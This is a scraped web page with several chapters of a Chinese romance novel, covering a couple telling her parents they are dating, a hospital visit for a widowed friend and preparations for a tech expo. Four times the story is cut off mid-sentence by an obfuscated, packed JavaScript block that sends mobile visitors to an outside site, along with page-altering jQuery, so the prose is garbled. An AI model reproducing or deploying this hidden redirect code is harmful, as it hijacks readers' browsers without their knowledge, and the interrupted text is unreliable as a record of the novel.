接着,一道熟悉的声音传入耳朵,清冷又富有磁性。 “冉冉,你好,我是江成川,你应该能一下子就分辨出我的声音吧。” 是江成川。 “……我接下来说的话对你永远有效……” 录音笔里传出的每一个字都像有厚重的回音一般,猛烈敲击着她的心脏,砰砰,砰砰—— 汤冉冉感觉一阵浑身酥麻。 “一万年太久,想和你只争朝夕……” 直到录音播放结束,她的内心还在颤栗,而录音笔早在无意间被紧紧地攥在手里。 江成川好像特别信赖这种物质载体,从明信片到录音笔,不论是字面上的,还是语音上的,他生怕说出口的喜欢太轻,一定要有物证,一定要留痕。 汤冉冉用掌心抹了把眼泪,心里越琢磨越哭得厉害,只好下床抽了纸巾,深呼吸几下平复情绪。 这么多年来,有人一直在喜欢她,在支持她的事业,在给她鼓励。 汤冉冉没把录音笔放回礼盒,而是打开书桌的抽屉,把录音笔和爷爷奶奶送她的那支派克钢笔放在了一起。 周六上午,汤冉冉拎着礼袋去敲书房门,汤东民在屋里头搞创作,他最近又接了几个小活儿。 “进——” “爸,忙着呢?”汤冉冉探了个头,把礼袋拎高了冲着汤东民晃了晃,“送您个礼物呗!” “嗯?”汤东民把桌面理出一块空来,等着瞧是什么好东西。 “您看,一套刻刀。”汤冉冉把盒子推到他面前,倒也没有藏着掖着,“江成川前几天去香港出差,顺便带回来的。” “哦?就之前你那高中同学,最近联系上的那个?”汤东民印象中汤冉冉三言两语地提起过几次,没记着俩人关系这么熟络了,还给他这老头子带东西。 “对,我们最近在接触,谈恋爱。”汤冉冉一句话说得大大方方,倒让汤东民有点措手不及,他也顾不上欣赏眼前的刻刀了,思忖了片刻,抬头问:“那你妈知道吗?” “还没呢,要不中午吃饭的时候您起个头儿?” ”你这孩子……”汤东民点头应了下来,接着又问,“那你们相处的怎么样。” “挺好的,您放心,我又不是小孩子了。” “好,那就好。”汤东民嘴上这么说,可心里还是觉得不舒坦,看着眼前的刻刀都没那么喜欢了,“冉冉啊,有些话你不愿和我说的,就和你妈说,总之时刻记着开心最重要。” “我知道了——”汤冉冉受不了汤东民突然的语重心长,“爸,您接着忙,没事我出去了。” 汤冉冉轻轻关上书房门,溜回了自己的房间。 午饭的时候,汤东民不负汤冉冉所望,故作语气自然地提了一句:“哎冉冉,你前一阵采访的那个高中同学,还有联系吗?” 汤冉冉憋着笑看了一眼宋舒,回了句:“有啊爸,校庆那天我们不还约着回去看谢老师嘛。” “哦哦对,我看那小伙子挺好,你说是吧?闺女她妈。”汤东民重音落在宋舒的称呼上。 “谁?”宋舒只当是父女俩聊闲天,左耳朵进右耳朵出,根本没往心里拾。 “妈,是江成川,我俩现在在……”汤冉冉咬着筷子尖,冲宋舒一个劲眨眼睛。 宋舒愣了一下,看看汤冉冉,又看看汤东民,才慢慢回过味来,敢情俩人从这里给她演戏呢。 “那你们相处的怎么样?”宋舒问的问题和汤东民如出一辙。 “挺好的,您放心。”汤冉冉也原话奉上。 “那就好,你也大了,道理也都懂。”宋舒同样语重心长,但要比汤东民刚知道这个消息时冷静一些,“总之,冉冉,开心是最重要的,恋爱谈得不开心了,你就和妈说。” 汤冉冉应声,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946772|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋舒夹了筷子青菜,心里想的是—— 不是一家人不进一家门,老两口嘱咐的话都是一样的。 她真是天底下最幸福的小孩儿。 充满家庭温情的午饭后,汤冉冉还有件事儿要忙。 她一直惦记着的,柳如意的病。 眼下已经十月中旬,汤冉冉打算趁着天气尚且不冷不热,她抓紧联系好医院,江成川和如意姐商量好,就带着她来南城看病,时间不能再拖了。 这么想着,她拨了江成川的电话。 “喂,冉冉。”那边很快就接起来了,像是在等着她的来电。 “成川,谢谢你的礼物。” “啊你喜欢就好,我还一直担心昨天你刚说了……” “怎么会呢。”汤冉冉没等他说完,“我明白你的心意。” “那就好。” “对,还有件事儿,之前说要带如意姐来南城看病的事,你最近有时间吗?” “嗯……要不下周末,怎么样?” “好,那你问问如意姐,我去问问任医生。” “嗯。”江成川看了一眼月历,突然想起来另一件事,“对了,赵旭下周六办婚礼,你要来吗?” “他要结婚了?……算了吧。”自从汤冉冉高三去了文科班,和原先的同学就几乎没有了联系,她连赵旭的微信都没有,自然没有收到婚礼的邀请。 “那好,随你,回头给你带份喜糖。” “好。”汤冉冉挂了电话,又给任医生发了条消息:“任医生,打扰你,想问问最近病房有床位吗?下周想带如意姐去看看。” 任飞今天轮休,找了个郊外的山头爬山,爬到半山腰的时候摸出手机看时间,看到汤冉冉半小时前发来的消息。 “这一阵还行,但也空不了,一直有住进来的。”任飞放下背包,找了块大石头倚着,“需要我和我们主任打声招呼吗?” “嗯……不用了,这样不好。”汤冉冉其实有点犹豫,“有你在,我们就很踏实了。” “那好,时间定了,和我说一声。”任飞转发给汤冉冉一个医院公众号发的住院指南链接,又叮嘱了几句。 “嗯,谢谢任医生。” “跟我客气,小事一桩。” 汤冉冉没再回复,心里想着医院这边暂且有了眉目,就差江成川那边的消息了,心事了却一半。 下午的时间,汤冉冉一直待在房间里,泡了杯茉莉花茶,从iPad上找了部电影窝在懒人沙发里看,就是江成川提起的那部《大话西游》。 电影上映那年,汤冉冉才一岁,而她第一次看这部电影并不是在电影院,而是电视机里的电影频道重放,那时候一家人还住在老房子里。 片子的进度条还有二十分钟时,至尊宝双手端起金箍,画面里传出那句经典台词—— “曾经,有一份真诚的爱情摆在我的面前……” 又过了十分钟左右,至尊宝捂着骤然收紧的金箍痛苦哀号,受伤的紫霞仙子遗憾坠落,汤冉冉心中一阵酸涩。 她伸手按了暂停键,谁料手臂不小心碰倒了放在腿边的水杯,紧接着是一声脆响。 茶水洒了一地。 22. 南城医院 接下来的一周,汤冉冉忙着采访写稿,江成川忙着开会加班。 周五晚上的时候,江成川想起来给汤冉冉发了条消息:周日7点,我去接你,来得及吧? 汤冉冉回了个“OK”,接着拨了个电话过去—— “如意姐同意了?” “对,你觉得咱们还需要早点出发吗?”江成川在心里算了下,开车到南崖村将近两个小时,接上如意姐和小浩天来南城又要至少两个小时,到地儿先吃个午饭,下午一开诊就去看医生,时间挺紧的。 “不用,这个时间就行。”汤冉冉有点心疼了,觉得来回最折腾的是江成川。 “好,那早休息,后天见。” “嗯,晚安。”汤冉冉挂了电话,收拾了一些生活用品,想着如意姐要住院的话,还能派上用场。 周六,秋高气爽,江成川按计划去了周旭的婚礼,并随了个有份量的红包。 因为是草坪婚礼,所以流程省略了些,宾客们还是要移步到酒店包间用餐。江成川自然是和当年的高中同学坐一起,大家也不管眼生眼熟,反正坐一桌了就胡侃上几句,倒也有点回忆青春的感觉。 下午快两点,婚宴接近尾声,宾客们三三两两离席,新郎官儿和新娘子在酒店门口给大家发着喜糖。 “再加一份,旭子。”江成川手上已经领了一盒喜糖,又伸手说道。 “行行行,一份够吗?”周旭也不是小气人,从手边又拎了三盒过来塞给他。 “谢谢,旭子,新婚快乐。”江成川也不跟他客气,拍了下他的肩膀,“走了”。 周日7点,晨露未散,江成川准时出现在汤冉冉家楼下。 “早,冉冉。”江成川说话间递给她一个包子,他刚从便利店买的,“吃早饭了吗?” “还没,谢谢。”汤冉冉接过来咬了一口,热乎乎的酱肉馅让困意少了大半,“这还有豆浆”江成川指了指座位中间的杯架。 汤冉冉顺着他的话去看,好奇问:”“哎?这是你昨天参加婚礼的喜糖。” “对,说要给你带一份的,结果周旭多给了好几个。”江成川无奈笑了下,然后启动了车子,拐出小区,周末马路上的车并不算多。 “嘿嘿,那我要沾沾喜气。”说着汤冉冉随手拿了一盒打开,从里面挑了一块雪花酥放进嘴里,甜甜的很有嚼劲,又转头问,“你要来一块吗?” “可以,巧克力的吧。” “有吗?”汤冉冉把喜糖全倒了出来,还真有一颗黑巧克力,她把包装纸撕了一半递到江成川的嘴边,“喏给你……” 江成川视线没离开前方路况,微微低头凭感觉去够那块巧克力,含到嘴里后,说了声“谢谢。” “苦吗?”汤冉冉又看了一眼包装纸,上面写着72%的可可含量。 “很甜。” 到南崖的时候,柳如意和小浩天已经在家门外等待了,为了节省时间,江成川没下车,汤冉冉招呼着母子俩坐进后排。 车子开起来后,小浩天抓着门内拉手张望车里的环境,江成川车里是出了名的极简,只有那几盒喜糖格外显眼。 “江叔叔,你结婚了?”小浩天脸上写满惊奇,小手指了一下汤冉冉,“是和这个姐姐吗”。 “啊?哈哈,是我朋友的。”江成川怕汤冉冉尴尬,赶紧解释了一句,然后瞄了一眼内后视镜问,“要吃吗?” “妈妈,我能吃吗?” “只能吃一块。” “好!” 汤冉冉拿了一盒没打开的喜糖递到后排,这才好好看了她们母子俩一眼,只一个月没见,柳如意的气色又差了许多,不过也有可能是太早出门的缘故。 后半段车程,车里渐渐安静下来,江成川专心开车,汤冉冉在手机上改稿子,车后座的小浩天睡着了,柳如意搂着他轻轻拍着。 过了一会,车子在一家餐厅下停下来,饭店招牌上写着“忆南城”三个大字。 这家餐厅菜品不错,价格适中,主要是离着南城医院比较近。 “看看想吃什么?”四个人坐下后,江成川直接把菜单递给桌上年龄最小的浩天,“就挑你喜欢的点。” “谢谢叔叔。”小浩天翻了几页,菜单里有的菜名他还认不全,转头问,“妈妈,你想吃什么?” 柳如意大概是很少带着孩子出来下馆子,面容有些局促,说话声音很低:“要不咱们点个咸蛋黄狮子头?” “好,我还想吃这个。”小浩天指的是菜单上的一张图片,菜名他不认识,叫“饸络面”。 虽说时间紧张,但江成川觉得饭要好好吃,所以也不催促点单,就负责添添茶水,附和几句。 菜单定了之后,江成川在手机上下了单:糖醋鲤鱼、焖牛仔骨、咸蛋黄狮子头、拔丝地瓜、炒时蔬、蒸杂粮和四碗饸络面。 等菜的过程中,柳如意感谢让他们两个人破费了,又问了几句下午看病的事情。 “如意姐,放宽心,我们都在呢。”汤冉冉想的是下午她陪着去找任医生,医院里人多环境嘈杂,不是去看病的就是陪着看病的,浩天年龄小抵抗力弱,就让江成川带他去商场里的游乐场玩。 “如意姐,听冉冉的就行。”江成川接着说,“这样一开始我也跟你们一起,等开了检查我再走,让浩天在车里等一下。” 柳如意听他们这么说,心里也没什么不放心的了,只能连声说:“麻烦你们了”。 菜上齐后,几个人也不讲什么规矩,喜欢吃哪道就夹哪个,主打一个随意。 吃过饭已经一点多了,四个人没休息直接去了南城医院,路上的时候汤冉冉给任医生发了个消息说“快到了”,任医生简单回了个“好”。 从医院门口停好车后,小浩天乖乖留在车里,江成川把自己的手机也留给他,说有事就从里面找汤冉冉的电话,柳如意又叮嘱了几句,然后三个人下了车,往门诊楼的方向走。 心内科在三楼,出了电梯过一个走廊,就能看到分诊台。汤冉冉挽着柳如意去候诊区坐下,江成川拿着新办的就诊卡去挂号。 等了不多时,叫号显示屏上出现了柳如意的信息,同事传出叫号的声音:“请2115号病人柳*意到2号诊室就诊。” 汤冉冉拉着柳如意的手,感觉她的手干燥冰凉,使劲握了一下,轻声安慰着:“不用怕。” 三个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957233|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到诊室门口,任医生刚和上一位患者说完再见,一抬头就注意到他们,视线在他们身上转了一圈,在江成川身上多停留了会,最后落到柳如意身上,轻声说了句“进来吧”。 “嗯,任医生。”汤冉冉没多说什么,从江成川手里接过病历递过去,又扶着柳如意的肩膀让她坐到检查凳上。 任飞快速浏览了一遍,大部分的参考意义都不大,因为不同医院的检查设备精细程度不同,所以检查结果存在一定偏差,并不是所有医疗数据都能实现互联互通。 “柳老师,您的这些检查报告保留得很好,我对您的病情有了大致的了解。”任医生表达得很委婉,“但还不够全面,这样我先给您做个基本检查。” 心率、血压、心脏听诊,任医生快速完成了基本的体格检查,接着询问了柳如意最近一段时间的身体感受,心里有了大概的判断。 “这样,我开了心电图和超声心动图,先去做这两个检查,等拿到结果咱们再看。”说着任医生整理了一下手里的病历递给柳如意,又说了句,“检查项目已经开到就诊卡里了。” “好好好,谢谢大夫。”柳如意连忙起身,汤冉冉跟着说了句“谢谢”。 “怎么样?”见她们两个人出来,江成川从诊室走廊的连排座椅上起来。刚才任医生给刘如意做体格检查的时候,他和汤冉冉说了一声,就出来等了。 “先做检查。”汤冉冉说。 “好,我拿着。”江成川接过她们手里的东西,看了一眼前面的导诊牌,“心脏检查往那边走。” 江成川走在前,步速快一些,汤冉冉抚着刘如意的后背,两个人慢慢走在后面。 等柳如意进去做检查了,汤冉冉开口:“要不你走吧,剩下的就是等结果,我没问题,小浩天一个人在车里待那么久,我不放心。” “好,你也辛苦,有事随时联系我。”江成川抬手拍了拍汤冉冉的肩头,“那我走了。” “嗯,带小浩天好好玩。” 江成川说了再见,就迈开步子往医院外走,其实他心里还挺有感触的。 说来江爸江妈的身体都不错,平时有个小病小痛的能互相照顾,麻烦到他的次数少之又少。江成川这次和汤冉冉陪着柳如意来看病,现在又要带着小浩天去逛商场,他感到一种责任感,一种家庭身份的转换。 而此时此刻,和他共同承担的那个人,是汤冉冉。 这仿佛是在提前适应一种新的生活。 走到车前的时候,江成川没有直接开门,而是绕到后面敲了几下后排车窗,小浩天听到动静,一骨碌坐直了扒在窗户上看,看嘴型喊的是“江叔叔。” 江成川冲他笑了笑,从车头绕过去拉开驾驶座的门,扭头问他:“等久了吧,无聊吧?” “没有,江叔叔。”小浩天朝他扬了扬手机,屏幕上是消消乐的小游戏,“我在玩这个,已经通了好几关了。” “真行,手机没收。”江成川佯装生气的语气,往后一伸手,“拿来吧。” 小浩天嘴巴一撇,倒也没有真的不高兴,手机本来就是江成川,他当然不能霸在自己手里。 “江叔叔,咱们去哪儿?” 23. 江哥哥 江成川不语,只是一味地拉着小浩天的手往前走。 直到进了一家商场,上三楼,在一个室内游乐场门口,江成川停了下来,轻轻捏了下小浩天软乎乎的手,问:“来这里玩,怎么样?” “好——” 小浩天眼睛一亮,他还没见识过这样的地方。在南崖村的时候,村后面的小土坡和浅水沟就是他和班上同学的游乐园,夏天在河边蹚水,冬天拿着石头砸冰窟窿,秋天跑到山上找果子吃。 “在这等我,先给你买票。” 游乐园按小时收费,江成川买了两个小时的,120块。拿了门票后,他转身去找小浩天,简单说了句:“我在外面,就坐那,别和其他小朋友闹,去玩吧。” 看着小浩天脱了鞋子跑进去,江成川自觉地坐到了家长等待区,虽说是周末,人竟然不算多,只坐着几位爷爷奶奶辈的家长。 “小伙子,你也是带孩子过来玩的?”一个大姨看他刚坐下,搭话问。 “对。” “呦!哪个是你家孩子啊?” “滑滑梯那个小男孩。” “看着你这么年轻,孩子先这么大了?”大姨顺着江成川手指的方向去看,这下好奇心更强了。 “不是我亲生的。” “哦……啊?”大姨看着江成川的眼神变得有些复杂。 江成川自然也感觉到了,但他又懒得解释,只能怪自己一开始就不该接这个话茬儿。他挪了个座位,拿手机给小浩天拍了几张照片,挑了几张没糊的发给汤冉冉。 “玩得很好,你们那边怎么样?” 隔了一会,汤冉冉才回:“拿到报告单了,任医生诊室里有人,估计得等一会。” “好,随时联系。” 汤冉冉看不懂报告单上的专业名词,只能先让自己保持镇定,毕竟柳如意看起来比她还要紧张。 又过了一会,任医生诊室的门一开,走出来几个人,汤冉冉一手拿着报告单,一手搀着柳如意的胳膊,赶紧过去了。 “任医生。”汤冉冉敲了下诊室的门。 “进来。”任飞看出两个人神色紧张,宽慰到,“不用担心,我先看看单子。” 诊室里短暂的安静过后,任医生抬头,视线看向汤冉冉,缓缓说:“从心电图和超声心动图的表现看,再结合病人的症状,考虑是冠心病,但病人没有高血压病史,目前看病情不算严重。” “大夫,但我有时候觉得喘不过气来。” “您这个情况,还有一部分是生理性因素造成的。”任飞耐心解释,“是不是心情不好的时候,或者一个人在屋里待的时间久了,就会觉得难受得厉害,这种情况算病,也不算病。” “那我……怎么办呢?” “您啊,平时多出去转转,有什么事说出来,不要一个人憋在心里,再就是我给您开点药,回去按时吃,过一段时间看看效果,再来复查。” “行行,大夫那您开药吧。” 既然任医生这么说了,汤冉冉悬着的一颗心才算放下来。临走前,汤冉冉和任医生说了声“谢谢”,表示有机会请他吃饭。 “举手之劳,本职所在,你们辛苦了才是。”任医生在系统里叫号下一位病人,趁着这个空当问了一句,“一起来的是你的男朋友?” “嗯对,有机会介绍你们认识。”汤冉冉说起这个还有点害羞。 “好,也祝你们幸福。” “谢谢,先走了。” 走出诊室后,汤冉冉去窗口拿药,柳如意坐在候诊区等她,排队取药的时候,汤冉冉给江成川发消息说这边结束了,要去找他们汇合,顺便在商场里逛逛吃个晚饭。 江成川看了眼时间,也快到游乐园购买的时间了,他起身找人,一看小浩天还玩得不知疲倦。 “浩天,这儿!准备走了!” “来啦,江叔叔。”小浩天很听话,利索地穿上鞋朝他跑过来。 江成川从口袋里拿出一张纸巾,递过去,说:“来擦擦,玩得这一头汗。” “浩天,和你商量个事儿行不?” “啥事儿?”小浩天现在心情好,江成川让他接着做套数学题说不定都能答应。 “你以后别喊我江叔叔了,我有这么老吗?” “那喊你什么?” “你怎么喊汤冉冉的?” “姐姐。” “那你想想,怎么喊我?” “江……哥哥?” “对喽,以后就这么喊,记住了吗?”江成川摸了一把小浩天的脑门,确认汗都擦干净了。 “记住了,那你还能带我来这玩吗?” “可以。” 像来的时候那样,江成川又拉住小浩天的手,两个人下电梯,来到商场的大门口等人。 不一会儿,就远远看见汤冉冉和柳如意走过来,小浩天挣开江成川的手,跑过去,兴奋地喊:“妈妈,妈妈——” “哎呦,慢点跑。”柳如意的面色恢复了很多,说话声也大了。 “如意姐,来的路上,冉冉给我发消息说检查结果没大事儿,真好,这下您可放得宽心了。”江成川语气也轻松了。 “是啊,辛苦你下午帮忙带浩天,今天可麻烦你俩了。” “怎么会呢,如意姐。”汤冉冉觉得这也是了了自己的一桩心事,“您就听医生的,回去好好吃药,不舒服了咱再来复查。” “行,我记着了。”柳如意拍了一下汤冉冉的手背,才想起来问,“这个医生叫啥来着,真有耐心,不怕你俩笑话,我昨天晚上都没睡着觉,就怕见医生。” “任飞,任医生,他对病人很好的。”汤冉冉用手指在空气中写着任字的笔画。 “对对对,任医生。”柳如意记住了。 “咳——”江成川假装用手掩着咳嗽了一声,贴心提示了句,“商场门口灌风,咱们进去说。” 灌风?哪有风? 汤冉冉瞄了一眼江成川,心里一下子就明白了,这是摆明了不爱听她夸人,从这里吃醋呢。 “好,听你的,弱不禁风的江叔叔。”汤冉冉揶揄了句,嘴角却是上扬的。 “冉冉姐姐,你还不知道吗?”小浩天一手拉着柳如意,一手拉着汤冉冉,“现在是江哥哥了。” 江哥哥?汤冉冉再次打量江成川,借花献佛道:“那请江哥哥晚上请客,领我们去吃大餐呗。” “好说。”江成川听她这么一喊,心里舒坦多了,向后伸手比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964875|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个OK。 晚饭是在商场四楼的一家西餐厅吃的,菜品精致,环境清雅。 小浩天选了儿童套餐,套餐包含了主食和饮料。其余的菜品都是江成川点的,两份肉酱意面、一份牛排、一大份沙拉、一个小食拼盘、两块黑森林蛋糕和两杯百香果汁,他给自己点的是咖啡。 其实,江成川选择这家餐厅是有私心的,来之前他就看点评APP上说这家的黑森林蛋糕是桌桌必点的爆款,想到汤冉冉一下午忙活着陪诊,正好需要吃点儿甜的补充能量,心情也会好。 一顿饭吃得差不多的时候,服务生过来询问是否可以上甜点,又等了一会,两块黑森林蛋糕端了过来,汤冉冉一块,小浩天一块。 于是,出现了这样一幅堪称巧合的温馨画面—— 柳如意的眼神充满温柔,慈爱地看着小浩天,小浩天低着头用餐叉还不熟练地挖着蛋糕。 江成川的眼神同样温润,含情地看着汤冉冉,汤冉冉倒是姿态相对优雅些地吃着蛋糕。 如果时间可以暂停,江成川觉得现在就很好。 吃过晚饭后,他先把柳如意母子俩送到酒店办入住,提前预订了一间家庭房,房费已经付过了。 临走时,江成川说明天早上8点多来送娘俩会南崖,公司公司批了假。。另外,他也和南崖一小教务处的赵老师说了一声,浩天同学上午的课可以侥幸逃过了。 安排妥当后,江成川和汤冉冉从酒店离开,重新坐回到车里的时候,才发觉四下安静。 这一整天下来,两个人迎来难得的独处时间。 江成川没急着启动车子,手搭在方向盘上,人向后仰了仰靠在驾驶座,偏头注视着汤冉冉,问:“折腾一天,累了吧?” 车窗降了一半,夜晚的秋风从他们之间穿过,凉丝丝的,橡木苔香融进了夜色里,若有若无。 “我还好,你开车比较辛苦。”汤冉冉说着打了个哈欠,有点懒洋洋的。 “嗯,虽然累但又很踏实。” “嗯?”汤冉冉抬眼望向江成川,和他一直投来的目光撞在了一起。 江成川没躲,却是看着她的眼神更深邃了,停顿了片刻,他缓缓开口—— “生活中总有这样那样的不如意,发生在自己身上的,发生在别人身上的。” “但只要行动起来,就会有发生改变的可能,这还是你之前和我说的。” “就像如意姐,早前丈夫离世,孩子年幼,好在她都咬着牙坚持下来了,希望她以后的人生里多些如意吧。” 说完,江成川看向车前方,远处路灯落下橘黄色的莹莹亮光,像源源不断播撒的爱与希望,他深吸了一口气。 “冉冉,我们一直在一起吧。” “好。” 汤冉冉没有犹豫,给了最简短但坚定的回应。 他心满意足,握着方向盘的手紧了一下,然后启了车子。 这不是江成川第一次直抒胸臆,但之前都隔着明信片,隔着录音笔,甚至要用黑森林蛋糕来做隐喻。 这次,他选择让晚风为证,以夜色为据。 在不算封闭的车内空间里,没有缱绻暧昧,没有亲密接触。 但他和她的心,更近了。 24. 金童玉女 周一上午,江成川送柳如意娘俩回南崖,汤冉冉来报社开例会。 例会上,秦主任布置了最近的几项报道任务,派到汤冉冉头上的除了本地的两场新闻发布会,还有一个海市的活动报道——第三届国际科技产品博览会,会期四天,从本周四持续到周日。 可以预见的周末泡汤,汤冉冉拿着笔在本子上乱划了几下,唯一能自我安慰的是,她参加过前两届的博览会报道,还算有点儿门路。 虽说大会在海市召开,汇聚八方来客,但采访实际还是围绕着南城参展的那几家企业,挖掘企业故事,展现企业风采,反映南城的科技实力。 不过,秦青倒是特别嘱咐了她一句,可以重点关注南城今年新参展的企业和近两年国际上的热门科技话题,跳出固有的套路,把报道写得漂亮一点。 散会后,乔小童喊她去食堂吃饭,汤冉冉看了眼时间,给江成川发了条消息:你回南城了吗? 吃过午饭,她和乔小童绕着报社楼下溜达了两圈,直到回到工位,手机上还没有收到江成川的消息。 汤冉冉有点着急,直接拨了电话过去。 “您好,你拨打的电话已关机……” 关机? 且不说个人习惯,江成川因为工作原因,他的手机几乎是24小时开机的状态,怎么会突然关机了? 早上出门前,汤冉冉看手机上推送了大雾黄色预警天气,高速公路尚未关闭,她倒是对江成川的驾驶技术没什么担忧,但眼下联系不上人,让她在工位上坐立不安。 突然,汤冉冉想起来这次看病基本都是江成川在联系,她差点忘了之前采访的时候还留过柳如意的手机号,于是赶紧去翻采访本,当找到那一串有些潦草的电话号码时,她松了一口气。 按照上面的号码拨过去,等了一会,电话才被接起来。 “喂,您好?” “如意姐,是我,汤冉冉。”她立马回话,能听出来那边有油锅“滋啦滋啦”的动静。 “哎?冉冉啊,我咋没存你的手机呢,怎么了?” “如意姐,江成川回去了吗?我联系不上他。” “哦,他还没走呢,来的路上雾挺大的,我留他在家先吃个午饭。” “那他人呢?”汤冉冉心里的顾虑还没完全消。 “他在……在院子里陪浩天玩吧?你等我,我喊他一声儿。” “嗯好。” 听筒里,先是传来如意姐响亮的一声“江老师”,然后是一声隔着距离的回应“哎——”,再然后就是一声仿佛贴着汤冉冉耳朵发出的声音:“冉冉,是我。” “江成川?” “嗯。” “你手机怎么关机了?”汤冉冉没有压抑情绪,她的语气里有埋怨、有后怕。 “哦不好意思,我手机没电了,想着只是吃个饭的功夫,就把手机留在车上充电了。” “你知道我多担心你嘛?” “对不起。”江成川没有别的理由。 汤冉冉沉默了一会,也觉得自己话说得有些冲了,转而关心道:“你还没吃饭吧?那不说了……” “好,回去再聊。” “嗯,路上小心。” 汤冉冉这边挂了电话,江成川把手机还给如意姐,又说了句谢谢,但情绪看起来不高。 “江老师,冉冉这也是担心你。”柳如意递给他一盘炒好的菜端出去,顺便安慰了一句。 “我明白,我是觉得自己没做好,让她跟着担心了。” “没事,你们还年轻,还有的是时间,本来相处就是磨合的过程。” “嗯,谢谢如意姐。” 江成川微微颔首,端着菜转身去了大屋,然后又去院子里喊小浩天进来吃饭。 方木桌上,摆了三盘菜,干辣椒炒土豆丝、鸡蛋炒大葱、腊肉炒蒜薹,还有一盘馒头和每人一大碗玉米碴子粥。 江成川从小在城市里长大,逢年过节也是留在南城和江爸江妈一起过,除了印象不深的几次乡村自驾游,他几乎没吃过几回农家菜。 “如意姐,您做的菜有锅气,下饭。” “哈哈,是让你等到现在饿过劲了,愿吃我做的菜好说,那就常来,下次叫着冉冉一起。” “哎。”江成川嘴里嚼着馒头,应了一声。 午饭过后,江成川开车回南城,他原本只请了半天假,于是直接去了公司。 他前脚进了办公室,周栋拿着份文件跟在他屁股后面也进来了。 “哥,这周四有个展会,郑总上午交代说让你去。”周栋把文件搁在了桌上。 “展会?”江成川挂好外套,拿起文件扫了一眼,题头是第三届国际科技产品博览会。 “对,说是上个月从官网上注册参展的,这两天通知了举办时间。” “怎么之前没听说这个事?”江成川抬头问。 “哦这么回事,咱是第一次参展,本来是别的组在跟,但博览会和他们组一个重要项目谈判的时间冲突了,所以就临时转到咱们这了。” “好,我知道了,明天吧,组里开个会商讨一下。” “成,那我走了,哥。”周栋看他刚从外面赶回来,忍住了插科打诨的心思,乖乖给他带上了门。 江成川坐下后,大概把文件过了一遍,然后放到一边,想着先给汤冉冉打个电话报平安。 “喂,冉冉。” “你回来了?”汤冉冉省去寒暄。 “对,直接来公司了。” “那就好,我没什么事了。” 江成川听出来汤冉冉心里的情绪还没发泄出来,话都不愿多和他说几句,于是主动找了个话头问:“我听你之前说上午不是开例会吗?忙不忙?” “还好,都是常规任务。”汤冉冉声音很低,“哦对,这周我得出差,去海市。” “海市?”江成川瞥了一眼桌上的文件,举办地点恰巧也在海市,科技领域又是汤冉冉跑的口,于是问,“是报道科技博览会吗?” “对,你知道?”汤冉冉愣了一下,接着恍然大悟,“难道是……你们公司也参加了?” “嗯,我刚接到的通知。” “是嘛!到时候还需要请你们接受采访呢,江组长。”汤冉冉声音清亮了许多。 江成川心想,果然还是提工作管用,讨好道:“那你不生我气了吧?” “没有,只是担心你。” “我明白,以后注意。” “嗯,那我先挂了,你忙吧。” 打完电话,江成川重新审视这份文件,竟有种天上掉馅饼的感觉,上午雾中开车的疲惫感一扫而空,有的全是对即将到来的出差的满满期待。 下午,汤冉冉在单位简单拟了个博览会的报道方案,不到五点钟就下班回家了。 刚一进门,她就闻到一阵浓郁的香气,换了鞋,直奔厨房。 “我亲爱的母亲大人,又在研究什么好吃的呢?”汤冉冉一句话说得百转千回,下巴颏抵在宋舒的肩头,眼睛盯着炉子上的一口砂锅。 “莲藕排骨汤。”宋舒拧了小火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984848|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,砂锅盖一掀,热气窜上来,香味更浓郁了。 “真香啊,妈,这快好了是吗?” “再有个两三分钟。”宋舒动了下肩膀,扭头说,“别从我这了,去喊你爸吃饭。” “好嘞。” 书房里,汤冉冉推开门轻轻喊了声“爸”,汤东民低着头沉浸在手上的木雕,没应她。 “爸,休息会,吃饭了。”汤冉冉走到桌子前,看见桌上立着一个20cm左右高的人形木雕,头上两个发髻,裙式的衣服下摆,看起来像个小女孩。 “这是啥呀?”。 “玉女。” “啥?” 